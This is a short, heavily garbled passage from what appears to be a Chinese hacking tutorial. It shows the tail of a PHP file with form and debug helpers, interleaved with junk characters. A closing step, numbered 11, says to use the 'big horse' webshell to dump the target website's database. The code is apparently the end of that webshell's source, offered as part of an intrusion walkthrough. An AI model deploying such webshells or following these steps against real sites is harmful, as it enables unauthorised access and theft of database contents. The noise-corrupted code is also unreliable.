. Q3 X5 t( z: w& E - p("<p>$arg[title]<textarea class="area" id="$arg[name]" name="$arg[name]" cols="$arg[cols]" rows="$arg[rows]" $arg[extra]>$arg[value]</textarea></p>");
' S0 n( E& R1 W" l. x# m- `& \ - }
+ s$ u0 x# V B: ~6 K) x - . m% Z. O6 U& k$ J
- function formfooter($name = ''){
* k# \# `5 l" k - !$name && $name = 'submit';
. K. m7 W9 D# P* G3 {$ b ~/ | - p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value="Submit"></p>');
9 ^. A& t1 ]3 t! }/ G: J) L' ]( o - p('</form>');
, G$ O1 E4 C7 z0 _ a, L& c - }
7 y, A9 X0 f1 y( \ - # }# b8 y: z7 Y: W6 ^2 P% E" T
- function formfoot(){+ V+ E3 P: R7 l
- p('</form>');, s* T; R! ]3 }0 w: j( v
- }6 l& j! ]" g) `. J
- # w0 U" [2 r4 u/ @- j
- // 调试函数6 P% s3 f: L: A
- function pr($a) {
2 d' O. ]1 d8 W - echo '<pre>';; H, w2 o+ ?% b9 \ ]; v
- print_r($a);
/ w2 x3 [. b2 {) I - echo '</pre>';+ w6 z9 d& U2 Y9 Y7 q6 Y" X
- }
- ~( o$ m7 q: t: G# x( } -
, e3 L( M- t# E6 ~ ]) z - ?>
复制代码11、最后通过大码对网站数据库进行脱库# F; T9 u/ q0 }
6 }) t# {6 E, }( }: e9 C6 z& l
) V$ L: Z( m4 Z! g% k4 M0 }
|